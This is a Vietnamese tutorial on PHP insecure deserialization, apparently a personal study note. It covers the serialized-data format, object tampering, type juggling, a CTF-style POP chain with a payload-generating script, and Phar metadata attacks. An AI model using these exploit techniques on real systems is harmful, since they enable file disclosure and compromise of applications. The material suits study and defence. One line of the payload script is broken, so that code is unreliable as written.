Try   HackMD

Insecure Deserialization trong PHP

Bài này mình sẽ viết về những thứ mà mình học được về lỗ hổng Insecure Deserialization trong PHP nhằm ôn lại và củng cố thêm kiến thức. Nếu có sai sót ở đâu mong mọi người góp ý và bỏ qua (^_^)

Khái niệm

Trước hết tìm hiểu về khái niệm serializationdeserialization.

  • Serialization là quá trình chuyển đối của một đối tượng thành định dạng như chuỗi byte, JSON, YAML, Mục đích chính của quá trình này để dễ dàng lưu trữ và truyền dữ liệu giữa các ứng dụng.
  • Deserialization là quá trình ngược lại với serialization để chuyển từ những định dạng dữ liệu trên thành đối tượng ban đầu.

Như vậy lỗ hổng Insecure Deserialization xảy ra khi thực hiện quá trình deserialization. Nguyên nhân chính là do việc ứng dụng web để người dùng có thể kiểm soát được các dữ liệu sau khi serialize đối tượng nào đó (gọi là serialized data), khi thay đổi chúng ứng dụng sẽ thực hiện quá trình deserialization để khôi phục lại đối tượng ban đầu và đương nhiên đối tượng đó sẽ bị thay đổi và có thể gây ra ảnh hưởng tới ứng dụng, thậm chí là máy chủ chứ không chỉ đối tượng đó.

Trong PHP, thực hiện quá trình serialization bằng hàm serialize(), và quá trình deserialization bằng hàm unserialize().
Nói 1 chút về định dạng của serialized data:
Ví dụ: có 1 đối tượng là $user có 3 thuộc tính:

$user->name = "chuong";
$user->age = 18;
$user->isAdmin=false

Sau khi thực hiện serialize bằng hàm serialize($user) thu được kết quả:

O:4:"User":3:{s:4:"name";s:6:"chuong";s:3:"age";i:18;s:7:"isAdmin";b:0;}
  • O:4:"User":3: O là object có class tên là User và độ dài tên class là 4, object này có 3 thuộc tính.
  • s:4:"name";s:6:"chuong": đây là thuộc tính đầu tiên có kiểu dữ liệu là string (s), có tên là name với độ dài là 4, giá trị là string (s) có giá trị là chuong với độ dài là 6.
  • s:3:"age";i:18: đây là thuộc tính thứ 2 có dạng string (s), tên thuộc tính là age3 ký tự và giá trị là 18 với kiểu dữ liệu int (i).
  • s:7:"isAdmin";b:0: đây là thuộc tính cuối cùng tương tự trên và có giá trị boolen (b) với giá trị false (0).

    Tham khảo thêm: https://www.php.net/manual/en/function.serialize.php

Một số dạng tấn công

Sửa đổi đối tượng

Đây là dạng bài đơn giản nhất.

Ví dụ 1:

Giả sử ứng dụng web kiểm tra quyền admin bằng cách kiểm tra giá trị isAdmin (ví dụ trên). Nếu giá trị là true sẽ được cấp quyền và ngược lại không nếu là false.
Vậy khi người dùng có thể kiểm soát serialized data sẽ chỉnh sửa được giá trị false về true bằng cách thay đổi s:7:"isAdmin";b:0 thành s:7:"isAdmin";b:1.
Khi ứng dụng deserialize lại nhận được đối tượng giá giá trị thuộc tính isAdmintrue => thành công.

Ví dụ 2:

Giả sử ứng dụng có chức năng đọc file bằng hàm file_get_contents():

function read(){
    echo file_get_contents($this->filename);
}

Như đã nói ở dạng trên, kẻ tấn công có thể thay đổi các thuộc tính và khi đó $this->name sẽ bị thay đổi thành các file nhạy cảm như /etc/passwd, dẫn đến việc kẻ tấn công có thể đọc được chúng.

Ví dụ 3:

Khi các ứng dụng sử dụng cách xác thực tài khoản không an toàn:

if ($user['username'] == 'admin' && $user['password'] == $adminPassword) {
    $admin = true;
} else {
    $admin = false;
}

Ở đây thứ mà ta kiểm soát được là usernamepassword, thứ chưa biết là $adminPassword. Vậy làm sao để bypass cái này?. Đó là dạng type juggling khi ứng dụng sử dụng so sánh loose (==) mà không phải ===. Khi so sánh chuỗi (ở đây là $adminPassword) với boolean mang giá trị true sẽ trả về kết quả đúng. Vậy chỉ việc thay đổi giá trị password thành kiểu boolean mang giá trị true là được.
Tham khảo thêm về type juggling: https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf

POP chain

POP chain còn được gọi là Code Reuse Attack, đây là 1 kỹ thuật liên quan đến việc sử dụng lại các đoạn code của chương trình (gọi là các gadget) để liên kết chúng lại thành 1 chuỗi thực thi (chain) đồng thời kết hợp với việc thay đổi các thuộc tính của các đối tượng tạo ra một luồng hoạt động với mục đích tấn công ứng dụng.

Quan trọng của kỹ thuật này là việc sử dụng các magic method (các method bắt đầu bằng __), đại khái là nó sẽ được thực thi tự động khi thỏa mãn điều kiện, cụ thể với một số như sau:

  • __construct(): method này sẽ thực thi khi khởi tạo đối tượng từ class, ví dụ: $user= new User('chuong');.
  • __destruct(): method này sẽ thực thi khi đối tượng bị hủy ví dụ như dùng hàm unset($user) hoặc khi chương trình kết thúc (ngoài trừ việc chương trình kết thúc bằng 1 số hàm như die()).
  • __wakeup(): method này sẽ thực thi khi thực hiện quá trình deserialization, ví dụ: unserialize($user);.
  • __toString(): method này sẽ thực thi khi đối tượng được sử dụng như chuỗi , ví dụ như sử dụng các hàm in ra chuỗi như echo, print(), hoặc sử dụng so sánh loose (==), hoặc trong các hàm như preg_match().
  • __invoke(): method này sẽ thực thi khi đối tượng được gọi như một hàm, ví dụ: $user();.

  • Xem thêm: https://www.php.net/manual/en/language.oop5.magic.php

Tiếp theo thì phải chú ý đến việc ứng dụng sử dụng các function đặc biệt được sử dụng như: file_get_contents(), include(), system(), unlink(),..
Đó có thể là các filesystem functions để thao tác với các file hệ thống cũng như hệ thống gây nên các cuộc tấn công. Ví dụ như chương trình sử dụng file_get_contents() để đọc file nào đó, khi kẻ tấn công thay đổi các thuộc tính truyền vào vào hàm đó như /etc/passwd nghĩa là có thể đọc được nó cũng như các file nhạy cảm khác. Và tất nhiên để ứng dụng làm được vậy có thể phải nhờ đến việc sử dụng các đoạn code khác trong chương trình (gadgets).

Để xem các gadgets liên kết với nhau ra sao thì mình sẽ lấy một ví dụ đơn giản:
Có file index.php có 2 class A, B và nhận vào biến hix từ GET để unserialize() nó.

<?php
//the flag in flag.php
class A
{
    public $filename;
    public function __construct()
    {
        $this->filename = "hello.txt";
    }
    public function read()
    {
        $res = "";
        if (isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        echo $res;
    }
}
class B
{
    public $name;
    public function __construct($name)
    {
        $this->name = $name;
    }
    public function __wakeup()
    {
        return $this->name->read();
    }
}
if (isset($_GET['hix'])) {
    @unserialize($_GET['hix']);
} else {
    highlight_file(__FILE__);
}

Nhìn sơ qua biết được class A có function read() để đọc file hello.txt nhưng chúng ta muốn đọc file flag.txt. Đơn giản thôi chỉ cần thay đổi thuộc tính của đối tượng tạo từ class Afilename có giá trị là flag.txt. Nhưng làm sao để read() được thực thi thì chú ý trong class B có gọi read():

public function __wakeup()
{
    return $this->name->read();
}

Giả sử tạo đối tượng $a từ class A:
$a=new A('flag.txt');
Vậy read() thực thi khi xảy ra $a->read() vậy $this->name trong class B là đối tượng tạo từ class A (ở đây là $a). Vậy chỉ cần tạo đối tượng $b từ class B có thuộc tính name$a:
$b=new B($a);
Muốn read() thực thi thì __wakeup() cũng thực thi. Đây là magic method thực thi khi thực hiện quá trình deserialization (hàm unserialize()).
Vậy chỉ cần đưa chỉ cần đưa serialized data của $b vào biến hix từ GET.
Bây giờ chỉ cần viết script tạo nó :

<?php
class A

{
    public $filename;
    public function __construct($filename)
    {
        $this->file$filename = $filename;
    }

}
class B
{
    public $name;
    public function __construct($name)
    {
        $this->name = $name;
    }
}
$a = new A("flag.txt");
$b = new B($a);
echo serialize($b);


Đó là 1 bài đơn giản và trong các bài CTF hay trong thực tế có thể có nhiều gadgets đòi hỏi chúng ta phải phân tích tìm con đường phù hợp để đạt được mục tiêu.

Mình đã làm 1 bài để giải các bài dạng này ở đây
Ngoài ra có thể dùng tool PHPGGC với POP chain có sẵn của nhiều thư viện.

Overflow

Phar Deserialization

Phar (PHP Archive) là một định dạng gói cho phép phân phối các ứng dụng và thư viện bằng cách gói các file PHP và một số file khác. Nó giống như một file được nén lại từ nhiều file và thành phần khác.
Cấu trúc của file Phar:

  • Stub: phần đầu của archive. Nó là một file PHP đơn giản. Phần này bắt buộc có và kết thúc bởi: __HALT_COMPILER();
  • manifest: chưuá thông tin về danh sách file, thư mục được lưu trữ trong phar và các thông tin như sau:

Ở phần cuối, nó lưu Meta-data dưới dạng serialized, vì vậy khi gọi đến file phar (phar://) thì các data này sẽ unserialize => vector tấn công.

  • File contents: nôi dung chính của file.
  • Signature (optional): kiểm tra tính toàn vẹn.

Như vậy là nó cũng thuộc dạng POP chain.

Tạo 1 file phar:

  • Tạo file create_phar.php, ví dụ như:
<?php
class Example {
	// code exploit gadgets
}
$data = new Example();
$phar = new Phar("test.phar");
$phar->startBuffering();

$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->setMetadata($data);
$phar->stopBuffering();
?>

Dùng command để thực thi: php -d "phar.readonly=0" create_phar.php
(Trong một số bài uploads file, nếu server kiểm tra các magic bytes ta có thể thêm nó phần đầu của Stub )
Sau khi được file test.phar, ta sử dụng nó vào input khai thác (các filesytem functions): phar://path/to/test.phar

Tham khảo thêm: